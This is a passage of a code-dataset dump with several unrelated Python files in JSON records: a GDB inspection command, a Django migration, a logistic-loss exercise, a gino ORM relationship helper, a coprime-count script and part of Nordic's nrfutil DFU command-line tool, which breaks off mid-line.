'Error: cannot execute bt-inspect with file \"{}\": {}'.format(filename, e)\n print(msg, file=sys.stderr)\n raise e\n\n def invoke(self, arg, from_tty):\n conv_mode = bt_gdb_obj.ConversionMode.PREFER_WEAK_CHILDREN\n arg = arg.strip()\n\n if arg.endswith('#up'):\n arg = arg.replace('#up', '')\n conv_mode = bt_gdb_obj.ConversionMode.PREFER_ANCESTORS\n elif arg.endswith('#down'):\n arg = arg.replace('#down', '')\n conv_mode = bt_gdb_obj.ConversionMode.PREFER_WEAK_CHILDREN\n\n arg = arg.strip()\n gdb_obj = gdb.parse_and_eval(arg)\n addrs_infos = {}\n root_obj = bt_gdb_obj.model_obj_from_gdb_obj(gdb_obj, addrs_infos,\n conv_mode)\n backtrace = bt_gdb_vars.get_backtrace(addrs_infos)\n infos = info.Infos(root_obj, addrs_infos, backtrace)\n filename = bt_gdb_export.export_obj_to_file(infos)\n print('\"{}\" infos exported to \"{}\"'.format(arg, filename))\n self._launch_bt_inspect(filename)\n\n\n_BtInspectCommand()\n","sub_path":"python/inspect.py","file_name":"inspect.py","file_ext":"py","file_size_in_byte":3529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"425829017","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Designer',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=32, verbose_name='\\u4f5c\\u8005\\u540d\\u79f0')),\n ('phone', models.CharField(max_length=11, unique=True, null=True, verbose_name='\\u624b\\u673a\\u53f7', blank=True)),\n ('address', models.CharField(max_length=256, null=True, verbose_name='\\u5730\\u5740', blank=True)),\n ('date_created', models.DateTimeField(auto_now_add=True, verbose_name='Date created')),\n ('date_updated', models.DateTimeField(auto_now=True, verbose_name='Date updated', db_index=True)),\n ],\n options={\n 'verbose_name': '\\u4f5c\\u8005',\n 'verbose_name_plural': '\\u4f5c\\u8005',\n },\n ),\n migrations.CreateModel(\n name='Production',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=32, verbose_name='\\u4f5c\\u54c1\\u540d')),\n ('number', models.CharField(max_length=8, verbose_name='\\u4f5c\\u54c1\\u7f16\\u53f7')),\n ('date_created', models.DateTimeField(auto_now_add=True, verbose_name='Date created')),\n ('date_updated', models.DateTimeField(auto_now=True, verbose_name='Date updated', db_index=True)),\n ('designer', models.ForeignKey(related_name='production', verbose_name='\\u4f5c\\u8005', to='vote.Designer', null=True)),\n ],\n options={\n 'verbose_name': '\\u4f5c\\u54c1',\n 'verbose_name_plural': '\\u4f5c\\u54c1',\n },\n ),\n migrations.CreateModel(\n name='ProductionImage',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('original', models.ImageField(upload_to=b'productions', max_length=255, verbose_name='\\u56fe\\u7247')),\n ('display_order', models.PositiveIntegerField(default=0, help_text='0\\u4ee3\\u8868\\u4e3b\\u56fe', verbose_name='\\u663e\\u793a\\u987a\\u5e8f')),\n ('date_created', models.DateTimeField(auto_now_add=True, verbose_name='Date created')),\n ('production', models.ForeignKey(related_name='images', verbose_name='\\u4f5c\\u54c1', to='vote.Production')),\n ],\n options={\n 'ordering': ['display_order'],\n 'verbose_name': '\\u4f5c\\u54c1\\u56fe\\u7247',\n 'verbose_name_plural': '\\u4f5c\\u54c1\\u56fe\\u7247',\n },\n ),\n migrations.CreateModel(\n name='Vote',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('openid', models.CharField(max_length=32, null=True, verbose_name='OpenId', blank=True)),\n ('date_created', models.DateTimeField(auto_now_add=True, verbose_name='Date created')),\n ('date_updated', models.DateTimeField(auto_now=True, verbose_name='Date updated', db_index=True)),\n ('production', models.ForeignKey(related_name='votes', verbose_name=b'production', to='vote.Production')),\n ],\n options={\n 'verbose_name': '\\u6295\\u7968\\u8bb0\\u5f55',\n 'verbose_name_plural': '\\u6295\\u7968\\u8bb0\\u5f55',\n },\n ),\n migrations.AlterUniqueTogether(\n name='productionimage',\n unique_together=set([('production', 'display_order')]),\n ),\n ]\n","sub_path":"vote/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":3976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"615423793","text":"from sigmoid import sigmoid_\nimport math\nimport numpy as np\n\ndef reg_log_loss_(y_true, y_pred, m, theta, lambda_, eps=1e-15):\n \"\"\"Compute the logistic loss value.\"\"\"\n if isinstance(y_true, np.ndarray) == 1 and isinstance(y_pred, np.ndarray) == 1:\n if len(y_true) == len(y_pred) and m == len(y_true):\n a = (np.dot(-y_true, np.log(y_pred + eps)))\n b = (np.dot((1 - y_true), np.log(1 - y_pred + eps)))\n J = (1 / m) * (a - b + (lambda_ *np.dot(theta, theta)))\n return (J)\n else:\n print(\"vec_log_loss: y_true and y_red are not the same size\")\n elif isinstance (y_true, (int, float)) == 1 and isinstance(y_pred, (int, float)) == 1:\n J = - (1 / m) * (y_true * math.log(y_pred + eps) + (1 - y_true) * math.log(1 - y_pred + eps))\n return (J)\n else:\n print(\"vec_log_loss: error with var type\")\n\nprint(\"Test n.1\")\nx_new = np.arange(1, 13).reshape((3, 4))\ny_true = np.array([1, 0, 1])\ntheta = np.array([-1.5, 2.3, 1.4, 0.7])\ny_pred = sigmoid_(np.dot(x_new, theta))\nm = len(y_true)\nprint(reg_log_loss_(y_true, y_pred, m, theta, 0.0))\n\n# Test n.2\nprint(\"Test n.2\")\nx_new = np.arange(1, 13).reshape((3, 4))\ny_true = np.array([1, 0, 1])\ntheta = np.array([-1.5, 2.3, 1.4, 0.7])\ny_pred = sigmoid_(np.dot(x_new, theta))\nm = len(y_true)\nprint(reg_log_loss_(y_true, y_pred, m, theta, 0.5))\n\n# Test n.3\nprint(\"Test n.3\")\nx_new = np.arange(1, 13).reshape((3, 4))\ny_true = np.array([1, 0, 1])\ntheta = np.array([-1.5, 2.3, 1.4, 0.7])\ny_pred = sigmoid_(np.dot(x_new, theta))\nm = len(y_true)\nprint(reg_log_loss_(y_true, y_pred, m, theta, 1))\n\n# Test n.4\nprint(\"Test n.4\")\nx_new = np.arange(1, 13).reshape((3, 4))\ny_true = np.array([1, 0, 1])\ntheta = np.array([-5.2, 2.3, -1.4, 8.9])\ny_pred = sigmoid_(np.dot(x_new, theta))\nm = len(y_true)\nprint(reg_log_loss_(y_true, y_pred, m, theta, 1))\n\n# Test n.5\nprint(\"Test n.5\")\nx_new = np.arange(1, 13).reshape((3, 4))\ny_true = np.array([1, 0, 1])\ntheta = np.array([-5.2, 2.3, -1.4, 8.9])\ny_pred = sigmoid_(np.dot(x_new, theta))\nm = len(y_true)\nprint(reg_log_loss_(y_true, y_pred, m, theta, 0.3))\n\n# Test n.6\nprint(\"Test n.6\")\nx_new = np.arange(1, 13).reshape((3, 4))\ny_true = np.array([1, 0, 1])\ntheta = np.array([-5.2, 2.3, -1.4, 8.9])\ny_pred = sigmoid_(np.dot(x_new, theta))\nm = len(y_true)\nprint(reg_log_loss_(y_true, y_pred, m, theta, 0.9))\n","sub_path":"day03/ex05/reg_log_loss.py","file_name":"reg_log_loss.py","file_ext":"py","file_size_in_byte":2364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"232545965","text":"# -*- coding: utf-8 -*-\n\nfrom functools import partial\nfrom reprlib import repr\n\nfrom gino.declarative import Model\nfrom gino.loader import ModelLoader\nfrom sqlalchemy import and_, select\n\nfrom cat_and_dog.utils.empty import Empty\nfrom .exception import RelationException\n\n\ndef _do_load(self, row):\n values = dict((c.name, row[c]) for c in self.columns if c in row)\n if all((v is None) for v in values.values()):\n return None\n rv = self.model()\n for c in self.columns:\n if c in row:\n # noinspection PyProtectedMember\n instance_key = self.model._column_name_map.invert_get(c.name)\n rv.__values__[instance_key] = row[c]\n\n # set the relation automatically\n rv.init_the_relation()\n\n return rv\n\n\nModelLoader._do_load = _do_load\n\n\ndef setup_base(base):\n new_base = type(\n base.__name__,\n (RelationMixin, base),\n {}\n )\n\n RelationShip.base = new_base\n return new_base\n\n\nclass RelationMixin:\n def __init_subclass__(cls, **kwargs):\n super().__init_subclass__(**kwargs)\n cls.__rel__ = set()\n for k, v in cls.__dict__.items():\n if isinstance(v, RelationShip):\n cls.__rel__.add(k)\n\n def __str__(self):\n return f\"<{self.__class__.__name__}-{self.id}>\"\n\n def __await__(self):\n \"\"\"query for all relations\"\"\"\n\n async def query_all_relations(self):\n for name in self.__rel__.copy():\n await getattr(self, name)\n\n return query_all_relations(self).__await__()\n\n def init_the_relation(self):\n \"\"\"\n 在model loader之后应该调用该方法, 设置relation,\n 重新调用该方法会重新设置属性\n\n # 伪代码\n instance = await Model.get(1)\n\n await instance # load the relation\n\n # update the instance\n await instance.update(name='XXXX', parent_id=20)\n\n # 此时relation并没有更改\n instance.parent # 原来的parent\n\n instance.init_the_relation()\n\n await instance.parent # 重新load关系属性\n\n instance.parent # 此时更新\n \"\"\"\n for rel in self.__rel__:\n relation = getattr(self.__class__, rel)\n if isinstance(relation, RelationShip):\n setattr(self, rel, relation(self, rel))\n\n\nclass RelationShip:\n \"\"\"\n 重新定义relationship;\n 该属性应该设置在`One`的一方, 因为`Many`的一方已经存在了外键, 可以通过外外键来找到其Parent;\n 该类应该有缓存的作用;因此`One`的一方也应该设置该值;\n 该类被访问时应该有动态加载的效果(针对One的一方), 而不是全部加载, 也应该要支持切片;\n\n RelationShip is behavior like a factory function,\n the instance of RelationShip query for the relations\n and return a new instance of its self.\n\n - usage\n\n ```python\n @setup_base # a base model is required\n class Base(db.Model):\n __abstract__ = True\n id = Column(Integer, primary_key=True, autoincrement=True)\n\n class Parent(Base):\n __tablename__ = \"test_parent\"\n\n name = Column(String(255), nullable=False, index=True)\n\n children = one2many('Children')\n favorites = many2many(\"ParentFavorite\", \"ParentFavoriteRel\")\n\n\n class Children(Base):\n __tablename__ = \"test_children\"\n\n name = Column(String(255), nullable=False, index=True)\n parent_id = Column(Integer, ForeignKey('test_parent.id'))\n\n parent = many2one('Parent')\n\n class ParentFavorite(Base):\n __tablename__ = \"test_favorite\"\n\n name = Column(String(255), nullable=False, index=True)\n\n # MUST USE `Class` to define a table\n class ParentFavoriteRel(Base):\n __tablename__ = \"parent_favorite_rel\"\n parent_id = Column(Integer, ForeignKey(\"test_parent.id\"), index=True)\n favorite_id = Column(Integer, ForeignKey(\"test_favorite.id\"), index=True)\n ```\n \"\"\"\n base = None\n\n __slots__ = ('relation',\n 'related_model',\n 'fk',\n 'secondary',\n 'secondary_fk',\n 'is_find_model',\n 'is_find_foreign')\n\n def __init__(self,\n relation,\n related_model,\n secondary=None,\n fk=None,\n secondary_fk=None):\n \"\"\"\n :param relation:\n - many2one return an instance of parent\n - one2many return a list-like of children\n - many2many return a list-like of relations(like one2many)\n - one2one return an instance of parent(like many2one)\n :param related_model: related model name of the model\n :param secondary: for many2many, the `secondary` stand for the model that\n holds the relations\n :param fk: foreign key\n :param secondary_fk: secondary foreign key\n \"\"\"\n if not self.base:\n raise RelationException(\"call setup_base() before subclass of Base created\")\n self.is_find_model = False\n self.is_find_foreign = False\n self.relation = relation\n self.related_model = related_model\n self.fk = fk\n self.secondary = secondary\n self.secondary_fk = secondary_fk\n if relation == \"many2many\" and secondary is None:\n raise RelationException(\"many2many relation should explict 'secondary'\")\n\n @staticmethod\n def get_fk_from_related_model(one: 'Model',\n many: 'Model') -> str:\n \"\"\"\n :param one:\n :param many:\n :return: foreign key name\n \"\"\"\n tablename = one.__tablename__\n\n fks = {fk for fk in many.__table__.foreign_keys if tablename == fk._column_tokens[1]}\n if len(fks) != 1:\n raise RelationException(\n f\"Can't figure out the foreign, the related model {many} has {len(fks)} foreign key(s)\")\n return fks.pop().parent.name\n\n def figure_out_fk(self, instance):\n \"\"\"\n figure out the foreign key, and set self.fk and self.secondary_fk\n \"\"\"\n if self.secondary:\n if not self.fk:\n self.fk = self.get_fk_from_related_model(one=instance, many=self.secondary)\n if not self.secondary_fk:\n self.secondary_fk = self.get_fk_from_related_model(one=self.related_model, many=self.secondary)\n else:\n if self.fk:\n return\n if self.relation == \"many2one\":\n self.fk = self.get_fk_from_related_model(one=self.related_model, many=instance)\n elif self.relation == \"one2many\":\n self.fk = self.get_fk_from_related_model(one=instance, many=self.related_model)\n\n @staticmethod\n def find_model_by_class_name(name: str,\n base) -> Model:\n \"\"\"\n find the model in the subclass of base by the model name\n :param name: the name of the model\n :param base: base model\n :return: the model\n \"\"\"\n model_to_find = list(filter(lambda x: name == x.__name__, base.__subclasses__()))\n model_to_find = model_to_find and model_to_find[0] or None\n if not model_to_find:\n raise Exception(f\"can't find secondary model {name}\")\n return model_to_find\n\n def __call__(self, instance, local_variable_name) -> 'RelationalParent' or 'RelationalChildren':\n \"\"\"\n - many2one return an instance of parent\n - one2many return a list-like of children\n - many2many return a list-like of relations(like one2many)\n - one2one return an instance of parent(like many2one)\n \"\"\"\n if not self.is_find_model:\n # related_model must been found here because the base has't been fully inited until now\n self.is_find_model = True\n self.related_model = self.find_model_by_class_name(self.related_model, self.base)\n if self.secondary:\n self.secondary = self.find_model_by_class_name(self.secondary, self.base)\n\n if not self.is_find_foreign:\n self.is_find_foreign = True\n self.figure_out_fk(instance)\n\n if self.relation in (\"many2one\", \"one2one\"):\n return RelationalParent(self.related_model, instance, self.fk, variable=local_variable_name)\n elif self.relation == \"one2many\":\n return RelationalChildren(self.related_model, instance, self.fk)\n elif self.relation == \"many2many\":\n return RelationalChildren(self.related_model, instance, self.fk,\n secondary=self.secondary, secondary_fk=self.secondary_fk)\n\n\nclass RelationalChildren:\n \"\"\"\n lazy load children\n \"\"\"\n\n __slots__ = ('model', 'instance', 'fk', 'children', '_where')\n\n def __init__(self,\n model: 'Model',\n instance,\n fk: str,\n secondary=None,\n secondary_fk=None,\n query=None\n ):\n \"\"\"\n :param model: the related model\n :param instance:\n :param fk: foreign name\n :param query: sqlalchemy query\n \"\"\"\n self.model = model\n self.instance = instance\n # self.id = instance.id\n self.fk = fk # foreign key\n self.children = Empty\n if query is not None:\n self._where = query\n else:\n if secondary and secondary_fk:\n # `select secondary_fk from secondary where fk = instance.id`\n self._where = getattr(model, \"id\").in_(\n select([getattr(secondary, secondary_fk)]).\n where(getattr(secondary, fk) == instance.id))\n else:\n # `select id from rel_model where fk = instance.id`\n self._where = (getattr(model, fk) == instance.id) # Only take fk as condition\n\n def __str__(self):\n if self.children is not Empty:\n return self.children.__str__()\n return f\"\"\n\n def filter(self, query):\n \"\"\"\n query return a new instance of RelationList which only change the\n query statement\n :param query:\n :return:\n \"\"\"\n return self.condition_filter(query)\n\n def condition_filter(self, query, condition=and_):\n \"\"\"\n like `query` method , but with condition\n :param query:\n :param condition: and_, or_, not_, when the new query combine the\n original query; the cached children also reset to list()\n :return: RelationalChildren\n \"\"\"\n return RelationalChildren(self.model, self.instance, self.fk, condition(self._where, query))\n\n async def first(self) -> 'Model' or None:\n if self.children is Empty:\n return await self.model.query.where(self._where).gino.first()\n\n return self.children and self.children[0] or None\n\n async def all(self):\n \"\"\"\n query for the children using self._where\n \"\"\"\n if self.children is Empty:\n self.children = await self.model.query.where(self._where).gino.all()\n\n return self.children\n\n def __await__(self):\n \"\"\"await all CacheInstance\n also see `all()`\n \"\"\"\n return self.all().__await__()\n\n def __setitem__(self, key, value):\n \"\"\"\n the children can't be set by subscription\n \"\"\"\n pass\n\n def __getitem__(self, item):\n if self.children is Empty:\n raise RelationException(\"Await the RelationalChildren before access to it\")\n return self.children[item]\n\n def __iter__(self):\n if self.children is Empty:\n raise RelationException(\"Await the RelationalChildren before access to it\")\n return iter(self.children)\n\n\nclass RelationalParent:\n __slots__ = (\"model\", \"instance\", \"_where\", \"variable\")\n\n def __init__(self,\n model: 'Model',\n instance,\n fk: str,\n variable: str):\n self.model = model\n self.instance = instance\n self.variable = variable\n self._where = (getattr(model, \"id\") == getattr(instance, fk))\n\n async def set_parent(self):\n res = await self.model.query.where(self._where).gino.first()\n setattr(self.instance, self.variable, res)\n return res\n\n def __await__(self):\n return self.set_parent().__await__()\n\n def __getattr__(self, item):\n raise RelationException(\"Await the RelationalParent to access before access it\")\n\n def __str__(self):\n return f\"\"\n\n\nclass CacheInstance:\n \"\"\"\n CacheInstance 可能用不到了...\n \"\"\"\n __slots__ = (\"model\", \"id\", \"instance\")\n\n def __init__(self, model: 'Model', _id: int):\n self.model = model\n self.id = _id\n self.instance = None # awaitable, its won't interact with DB until be awaited\n\n def __repr__(self):\n return f\"<{self.model.__name__}-{self.id}>\"\n\n def __getattr__(self, item):\n if self.instance:\n return getattr(self.instance, item)\n return self.__await__()\n\n async def get_instance(self) -> 'Model':\n return await self.instance\n\n def __await__(self):\n \"\"\"make the CacheInstance can be awaited\n instance = await CacheInstance(Model, 1)\n \"\"\"\n\n async def bind_instance(self):\n if self.instance:\n return self.instance\n self.instance = await self.model.get(self.id)\n\n return bind_instance(self).__await__()\n\n\nmany2one = partial(RelationShip, \"many2one\")\none2many = partial(RelationShip, \"one2many\")\nmany2many = partial(RelationShip, \"many2many\")\n\ndoc = RelationShip.__doc__\nmany2one.__doc__ = doc\nmany2many.__doc__ = doc\none2many.__doc__ = doc\n\nif __name__ == '__main__':\n import asyncio\n\n\n async def test():\n from cat_and_dog.modules import db\n from cat_and_dog.modules.product.category.models import Categories\n from cat_and_dog.config.dev import DATABASE_URL\n await db.set_bind(DATABASE_URL, echo=True)\n\n instance = await Categories.get(1)\n\n children = await instance.children.filter(Categories.name.like(\"猫\"))\n print(children)\n pass\n\n\n asyncio.run(test())\n","sub_path":"backend_code/cat_and_dog/utils/relations/orm_relations.py","file_name":"orm_relations.py","file_ext":"py","file_size_in_byte":14566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"613914698","text":"\ndef ucln(a, b):\n while a > 0:\n if a < b:\n tmp = a\n a = b\n b = tmp\n a %= b\n return b\n\n\ndef solve():\n n = int(input())\n cnt = 1\n for i in range(2, n):\n if ucln(i, n) == 1:\n cnt += 1\n flag = cnt > 1\n for i in range(2, int(cnt**0.5) + 1):\n if cnt % i == 0:\n flag = False\n break\n print(\"YES\" if flag else \"NO\")\n\n\ndef main():\n test = 1\n test = int(input())\n while test >= 1:\n solve()\n test -= 1\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Python/nguyento.py","file_name":"nguyento.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"267406535","text":"#\n# Copyright (c) 2016 Nordic Semiconductor ASA\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without modification,\n# are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice, this\n# list of conditions and the following disclaimer in the documentation and/or\n# other materials provided with the distribution.\n#\n# 3. Neither the name of Nordic Semiconductor ASA nor the names of other\n# contributors to this software may be used to endorse or promote products\n# derived from this software without specific prior written permission.\n#\n# 4. This software must only be used in or with a processor manufactured by Nordic\n# Semiconductor ASA, or in or with a processor manufactured by a third party that\n# is used in combination with a processor manufactured by Nordic Semiconductor.\n#\n# 5. Any software provided in binary or object form under this license must not be\n# reverse engineered, decompiled, modified and/or disassembled.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n\n\"\"\"nrfutil command line tool.\"\"\"\nimport os\nimport sys\nimport click\nimport logging\nsys.path.append(os.getcwd())\n\nfrom nordicsemi.dfu.bl_dfu_sett import BLDFUSettings\nfrom nordicsemi.dfu.package import Package\nfrom nordicsemi import version as nrfutil_version\nfrom nordicsemi.dfu.signing import Signing\nfrom nordicsemi.dfu.bl_dfu_sett import NordicSemiException\n\nlogger = logging.getLogger(__name__)\n\ndef display_sec_warning():\n default_key_warning = \"\"\"\n|===============================================================|\n|## ## ### ######## ## ## #### ## ## ###### |\n|## ## ## ## ## ## ## ### ## ## ### ## ## ## |\n|## ## ## ## ## ## ## #### ## ## #### ## ## |\n|## ## ## ## ## ######## ## ## ## ## ## ## ## ## ####|\n|## ## ## ######### ## ## ## #### ## ## #### ## ## |\n|## ## ## ## ## ## ## ## ### ## ## ### ## ## |\n| ### ### ## ## ## ## ## ## #### ## ## ###### |\n|===============================================================|\n|The security key you provided is insecure, as it part of a |\n|known set of keys that have been widely distributed. Do NOT use|\n|it in your final product or your DFU procedure may be |\n|compromised and at risk of malicious attacks. |\n|===============================================================|\n\"\"\"\n click.echo(\"{}\".format(default_key_warning))\n\ndef display_nokey_warning():\n default_nokey_warning = \"\"\"\n|===============================================================|\n|## ## ### ######## ## ## #### ## ## ###### |\n|## ## ## ## ## ## ## ### ## ## ### ## ## ## |\n|## ## ## ## ## ## ## #### ## ## #### ## ## |\n|## ## ## ## ## ######## ## ## ## ## ## ## ## ## ####|\n|## ## ## ######### ## ## ## #### ## ## #### ## ## |\n|## ## ## ## ## ## ## ## ### ## ## ### ## ## |\n| ### ### ## ## ## ## ## ## #### ## ## ###### |\n|===============================================================|\n|You are not providing a signature key, which means the DFU |\n|files will not be signed, and are vulnerable to tampering. |\n|This is only compatible with a signature-less bootloader and is|\n|not suitable for production environments. |\n|===============================================================|\n\"\"\"\n click.echo(\"{}\".format(default_nokey_warning))\n\ndef display_debug_warning():\n debug_warning = \"\"\"\n|===============================================================|\n|## ## ### ######## ## ## #### ## ## ###### |\n|## ## ## ## ## ## ## ### ## ## ### ## ## ## |\n|## ## ## ## ## ## ## #### ## ## #### ## ## |\n|## ## ## ## ## ######## ## ## ## ## ## ## ## ## ####|\n|## ## ## ######### ## ## ## #### ## ## #### ## ## |\n|## ## ## ## ## ## ## ## ### ## ## ### ## ## |\n| ### ### ## ## ## ## ## ## #### ## ## ###### |\n|===============================================================|\n|You are generating a package with the debug bit enabled in the |\n|init packet. This is only compatible with a debug bootloader |\n|and is not suitable for production. |\n|===============================================================|\n\"\"\"\n click.echo(\"{}\".format(debug_warning))\n\ndef display_settings_backup_warning():\n debug_warning = \"\"\"\nNote: Generating a DFU settings page with backup page included.\nThis is only required for bootloaders from nRF5 SDK 15.1 and newer.\nIf you want to skip backup page generation, use --no-backup option.\"\"\"\n click.echo(\"{}\".format(debug_warning))\n\ndef int_as_text_to_int(value):\n try:\n if value[:2].lower() == '0x':\n return int(value[2:], 16)\n elif value[:1] == '0':\n return int(value, 8)\n return int(value, 10)\n except ValueError:\n raise NordicSemiException('%s is not a valid integer' % value)\n\n# TODO: Create query function that maps query-result strings with functions\ndef query_func(question, default=False):\n \"\"\"\n Ask a string question\n No input defaults to \"no\" which results in False\n \"\"\"\n valid = {\"yes\": True, \"y\": True, \"no\": False, \"n\": False}\n if default is True:\n prompt = \" [Y/n]\"\n else:\n prompt = \" [y/N]\"\n\n while True:\n print(\"%s %s\" % (question, prompt))\n choice = input().lower()\n if choice == '':\n return default\n elif choice in valid:\n return valid[choice]\n else:\n print(\"Please respond with y/n\")\n\ndef pause():\n while True:\n try:\n input()\n except (KeyboardInterrupt, EOFError):\n break\n\nclass BasedIntOrNoneParamType(click.ParamType):\n name = 'Integer'\n\n def convert(self, value, param, ctx):\n try:\n if value.lower() == 'none':\n return 'none'\n return int_as_text_to_int(value)\n except NordicSemiException:\n self.fail('%s is not a valid integer' % value, param, ctx)\n\nBASED_INT_OR_NONE = BasedIntOrNoneParamType()\n\nclass BasedIntParamType(BasedIntOrNoneParamType):\n name = 'Integer'\n\nBASED_INT = BasedIntParamType()\n\nclass TextOrNoneParamType(click.ParamType):\n name = 'Text'\n\n def convert(self, value, param, ctx):\n return value\n\nTEXT_OR_NONE = TextOrNoneParamType()\n\nBOOT_VALIDATION_ARGS = [\n 'NO_VALIDATION',\n 'VALIDATE_GENERATED_CRC',\n 'VALIDATE_GENERATED_SHA256',\n 'VALIDATE_ECDSA_P256_SHA256',\n]\nDEFAULT_BOOT_VALIDATION = 'VALIDATE_GENERATED_CRC'\n\nKEY_CHOICE = ['pk', 'sk']\nKEY_FORMAT = [\n 'hex',\n 'code',\n 'pem',\n 'dbgcode',\n]\n\n\nclass OptionRequiredIf(click.Option):\n\n def full_process_value(self, ctx, value):\n value = super().full_process_value(ctx, value)\n if ('serial_number' not in ctx.params or not ctx.params['serial_number']) and value is None:\n msg = 'Required if \"-snr\" / \"--serial-number\" is not defined.'\n raise click.MissingParameter(ctx=ctx, param=self, message=msg)\n return value\n\n@click.group()\n@click.option('-v', '--verbose',\n help='Increase verbosity of output. Can be specified more than once (up to -v -v -v -v).',\n count=True)\n@click.option('-o', '--output',\n help='Log output to file',\n metavar='')\ndef cli(verbose, output):\n #click.echo('verbosity: %s' % verbose)\n if verbose == 0:\n log_level = logging.ERROR\n elif verbose == 1:\n log_level = logging.WARNING\n elif verbose == 2:\n log_level = logging.INFO\n else:\n log_level = logging.DEBUG\n\n logging.basicConfig(format='%(asctime)s %(message)s', level=log_level)\n\n if (output):\n root = logging.getLogger('')\n fh = logging.FileHandler(output)\n fh.setLevel(log_level)\n fh.setFormatter(logging.Formatter('%(asctime)s %(message)s'))\n root.addHandler(fh)\n\n@cli.command()\ndef version():\n \"\"\"Display nrfutil version.\"\"\"\n click.echo(\"nrfutil version {}\".format(nrfutil_version.NRFUTIL_VERSION))\n logger.info(\"PyPi URL: https://pypi.python.org/pypi/nrfutil\")\n logger.debug(\"GitHub URL: https://github.com/NordicSemiconductor/pc-nrfutil\")\n\n@cli.group(short_help='Generate and display Bootloader DFU settings.')\ndef settings():\n \"\"\"\n This set of commands supports creating and displaying bootloader settings.\n \"\"\"\n pass\n\n@settings.command(short_help='Generate a .hex file with Bootloader DFU settings.')\n@click.argument('hex_file', required=True, type=click.Path())\n@click.option('--family',\n help='nRF IC family: NRF51 or NRF52 or NRF52QFAB or NRF52810 or NRF52840',\n type=click.Choice(['NRF51', 'NRF52', 'NRF52QFAB', 'NRF52810', 'NRF52840']),\n required=True)\n@click.option('--application',\n help='The application firmware file. This can be omitted if'\n 'the target IC does not contain an application in flash.'\n 'Requires --application-version or --application-version-string.',\n type=click.STRING)\n@click.option('--application-version',\n help='The application version.',\n type=BASED_INT_OR_NONE)\n@click.option('--application-version-string',\n help='The application version string, e.g. \"2.7.31\". Will be converted to an integer, e.g. 207031.',\n type=click.STRING)\n@click.option('--bootloader-version',\n help='The bootloader version.',\n type=BASED_INT_OR_NONE,\n required=True)\n@click.option('--bl-settings-version',\n help='The Bootloader settings version.'\n 'Defined in nrf_dfu_types.h, the following apply to released SDKs:'\n '\\n|SDK12.0.0 - SDK15.2.0|1|'\n '\\n|SDK15.3.0 - |2|',\n type=BASED_INT_OR_NONE,\n required=True)\n@click.option('--start-address',\n help='Custom start address for the settings page. If not specified, '\n 'then the last page of the flash is used.',\n type=BASED_INT_OR_NONE)\n@click.option('--no-backup',\n help='Do not overwrite DFU settings backup page. If not specified, '\n 'than the resulting .hex file will contain a copy of DFU settings, '\n 'that will overwrite contents of DFU settings backup page.',\n type=click.BOOL,\n is_flag=True,\n required=False)\n@click.option('--backup-address',\n help='Address of the DFU settings backup page inside flash. '\n 'By default, the backup page address is placed one page below DFU settings. '\n 'The value is precalculated based on configured settings address '\n '( - 0x1000).',\n type=BASED_INT_OR_NONE)\n@click.option('--app-boot-validation',\n help='The method of boot validation for application.',\n required=False,\n type=click.Choice(BOOT_VALIDATION_ARGS))\n@click.option('--sd-boot-validation',\n help='The method of boot validation for SoftDevice.',\n required=False,\n type=click.Choice(BOOT_VALIDATION_ARGS))\n@click.option('--softdevice',\n help='The SoftDevice firmware file. Must be given if SD Boot Validation is used.',\n required=False,\n type=click.Path(exists=True, resolve_path=True, file_okay=True, dir_okay=False))\n@click.option('--key-file',\n help='The private (signing) key in PEM format. Needed for ECDSA Boot Validation.',\n required=False,\n type=click.Path(exists=True, resolve_path=True, file_okay=True, dir_okay=False))\ndef generate(hex_file,\n family,\n application,\n application_version,\n application_version_string,\n bootloader_version,\n bl_settings_version,\n start_address,\n no_backup,\n backup_address,\n app_boot_validation,\n sd_boot_validation,\n softdevice,\n key_file):\n\n # The user can specify the application version with two different\n # formats. As an integer, e.g. 102130, or as a string\n # \"10.21.30\". Internally we convert to integer.\n if application_version_string:\n application_version_internal = 